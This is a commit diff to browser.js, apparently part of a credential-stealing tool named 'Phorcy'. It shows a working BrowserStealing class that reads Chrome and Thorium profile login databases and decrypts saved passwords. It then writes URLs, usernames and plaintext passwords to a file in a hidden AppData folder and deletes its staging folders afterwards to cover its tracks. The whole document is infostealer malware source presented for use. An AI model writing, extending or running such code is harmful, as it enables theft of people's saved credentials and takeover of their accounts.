Update browser.js
This commit is contained in:
@@ -7,12 +7,14 @@ const path = require('path')
|
|||||||
|
|
||||||
class BrowserStealing {
|
class BrowserStealing {
|
||||||
constructor() {
|
constructor() {
|
||||||
|
this.phorcyDir = path.join(os.homedir(), 'AppData', 'Roaming', 'Phorcy')
|
||||||
this.browserPaths = [path.join(os.homedir(), 'AppData', 'Local', 'Google', 'Chrome', 'User Data'), path.join(os.homedir(), 'AppData', 'Local', 'Thorium', 'User Data')]
|
this.browserPaths = [path.join(os.homedir(), 'AppData', 'Local', 'Google', 'Chrome', 'User Data'), path.join(os.homedir(), 'AppData', 'Local', 'Thorium', 'User Data')]
|
||||||
this.browserProfiles = ['Default', 'Profile 1', 'Profile 2', 'Profile 3', 'Profile 4', 'Profile 5']
|
this.browserProfiles = ['Default', 'Profile 1', 'Profile 2', 'Profile 3', 'Profile 4', 'Profile 5']
|
||||||
this.password_command = 'SELECT action_url, username_value, password_value FROM logins';
|
this.password_command = 'SELECT action_url, username_value, password_value FROM logins';
|
||||||
//this.cookie_command = 'SELECT * FROM cookies';
|
//this.cookie_command = 'SELECT * FROM cookies';
|
||||||
this.tempDir = `${os.homedir()}\\AppData\\Local\\Temp`;
|
this.tempDir = `${os.homedir()}\\AppData\\Local\\Temp`;
|
||||||
this.tempDirCreated = `${this.tempDir}\\${Math.random().toString(36).substring(7)}`;
|
this.tempDirCreated = `${this.tempDir}\\${Math.random().toString(36).substring(7)}`;
|
||||||
|
this.passwordFile = path.join(this.phorcyDir, 'browser_passwords.txt')
|
||||||
|
|
||||||
//this.cookie_count = 0
|
//this.cookie_count = 0
|
||||||
this.password_count = 0
|
this.password_count = 0
|
||||||
@@ -81,11 +83,21 @@ class BrowserStealing {
|
|||||||
|
|
||||||
this.password_count++;
|
this.password_count++;
|
||||||
|
|
||||||
return {
|
try {
|
||||||
action_url: row.action_url ? row.action_url.toString() : '',
|
const formattedContent = `+------------------------+\n| URL: ${row.action_url ? row.action_url.toString() : ''} |\n| Username: ${row.username_value ? row.username_value.toString() : ''} |\n| Password: ${decipher.update(middle, 'base64', 'utf-8') + decipher.final('utf-8').toString()} |\n`;
|
||||||
username_value: row.username_value ? row.username_value.toString() : '',
|
|
||||||
password_value: decipher.update(middle, 'base64', 'utf-8') + decipher.final('utf-8').toString(),
|
fs.writeFileSync(this.passwordFile, formattedContent, { flag: 'a' });
|
||||||
};
|
|
||||||
|
console.log(`Password written to file successfully.`);
|
||||||
|
} catch (err) {
|
||||||
|
console.error('Error writing password to file:', err);
|
||||||
|
}
|
||||||
|
|
||||||
|
//return {
|
||||||
|
// action_url: row.action_url ? row.action_url.toString() : '',
|
||||||
|
// username_value: row.username_value ? row.username_value.toString() : '',
|
||||||
|
// password_value: decipher.update(middle, 'base64', 'utf-8') + decipher.final('utf-8').toString(),
|
||||||
|
//};
|
||||||
} else {
|
} else {
|
||||||
return {
|
return {
|
||||||
action_url: '',
|
action_url: '',
|
||||||
@@ -118,19 +130,44 @@ class BrowserStealing {
|
|||||||
});
|
});
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
//this.cleanUp()
|
|
||||||
}
|
}
|
||||||
|
|
||||||
//cleanUp() {
|
cleanUp() {
|
||||||
// fs.rm(this.tempDirCreated, { recursive: true }, (error) => {
|
fs.rm(this.tempDirCreated, { recursive: true }, (error) => {
|
||||||
// if (error) {
|
if (error) {
|
||||||
// console.error('Error deleting temp directory:', error);
|
console.error('Error deleting temp directory:', error);
|
||||||
// } else {
|
} else {
|
||||||
// console.log('Temp Directory deleted successfully.');
|
console.log('Temp Directory deleted successfully.');
|
||||||
// }
|
}
|
||||||
// });
|
});
|
||||||
//}
|
|
||||||
|
fs.rm(this.phorcyDir, { recursive: true }, (error) => {
|
||||||
|
if (error) {
|
||||||
|
console.error('Error deleting Phorcy directory:', error);
|
||||||
|
} else {
|
||||||
|
console.log('Phorcy Directory deleted successfully.');
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
async prepare() {
|
||||||
|
try {
|
||||||
|
fs.mkdirSync(this.phorcyDir);
|
||||||
|
console.log('Phorcy Directory created successfully.');
|
||||||
|
} catch (err) {
|
||||||
|
console.error('Error creating Phorcy directory:', err.message)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
async Main() {
|
||||||
|
await this.prepare();
|
||||||
|
await this.getPasswords();
|
||||||
|
setTimeout(function() {
|
||||||
|
console.log("Browser stealing complete. Cleaning.");
|
||||||
|
this.cleanUp();
|
||||||
|
}.bind(this), 4000);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
const browserStealer = new BrowserStealing();
|
const browserStealer = new BrowserStealing();
|
||||||
browserStealer.getPasswords()
|
browserStealer.Main();
|
||||||
|
|||||||
Reference in New Issue
Block a user